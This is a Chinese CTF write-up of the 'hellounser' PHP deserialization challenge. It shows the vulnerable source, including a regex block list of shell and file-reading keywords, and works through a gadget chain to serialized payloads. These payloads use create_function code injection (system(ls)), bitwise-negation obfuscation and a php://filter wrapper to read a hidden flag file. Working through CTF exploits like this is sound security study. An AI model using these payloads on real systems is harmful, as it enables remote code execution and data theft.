<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?>

思路很明显,要执行B类中的show函数,来包含flag(但是它这个包含也不会输出,这里等会分析)

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_反序列化

 

 

 怎么执行是看A类

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_php_02

 

 

 __invoke函数是调用A类时候会触发,调用A类,触发show方法,show方法输出 $var。

而让$var等于B类,B类中的__toString()方法会调用B的show函数

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_反序列化_03

 

 

 至于怎么调用A类,这里传入pop参数,反序列化后,原代码会调用pop反序列化

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_换行符_04

 

 

 

 

那么下面就是分析如何反序列化到A类的show方法时能够包含

 public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }

先看正则表达式,前面是$func不能是开头到结尾纯数字字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号

这里很好绕过,比如var_dump含有一个_即可绕过。或者开头换行符号都可以

后面是$arg过滤了一大堆东西,

都满足就会包含flag.php,但没啥用,因为没输出。同时会把$当作函数名,传入两个参数,一个是空字符串,一个是$arg

 

既然包含没用,不如从后面函数执行想办法,首先这个函数是要有两个参数,还能任意命令执行的

这里对着手册很快能找到函数create_function,传入

return(1);}任意代码;//

}会和前面{闭合,后面注释符号会注释后面的{,实现执行任意代码(一开始用/*注释,但是被过滤了)

$a = new A;
$b = new B;
$b->func="create_function";
$b->arg='return(1);}system(ls);//';;
$a->var=$b;
$ser = serialize($a);
echo $ser;

构造如上代码

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_正则表达式_05

 

 看到tru3flag.php猜测这个是真flag

但是过滤有很多,单双引号,flag,小数点全过滤了,这里用到取反

但是还有一个问题是取反后的符号大多数不可打印符号,不方便复制get传入,因此要对他进行url编码

$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$at='return(1);}require(~('.strval($ac).'));//';
$a = new A;
$b = new B;
$b->func="create_function";;
$b->arg=$at;
$a->var=$b;
$ser = serialize($a);
//echo $ser;
echo urlencode($ser);

这里用伪协议读取php内容

BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_换行符_06

 

 BUUCTF-日刷-[DASCTF Sept X 浙江工业大学秋季挑战赛]hellounser/反序列化-正则过滤_每日ctf_07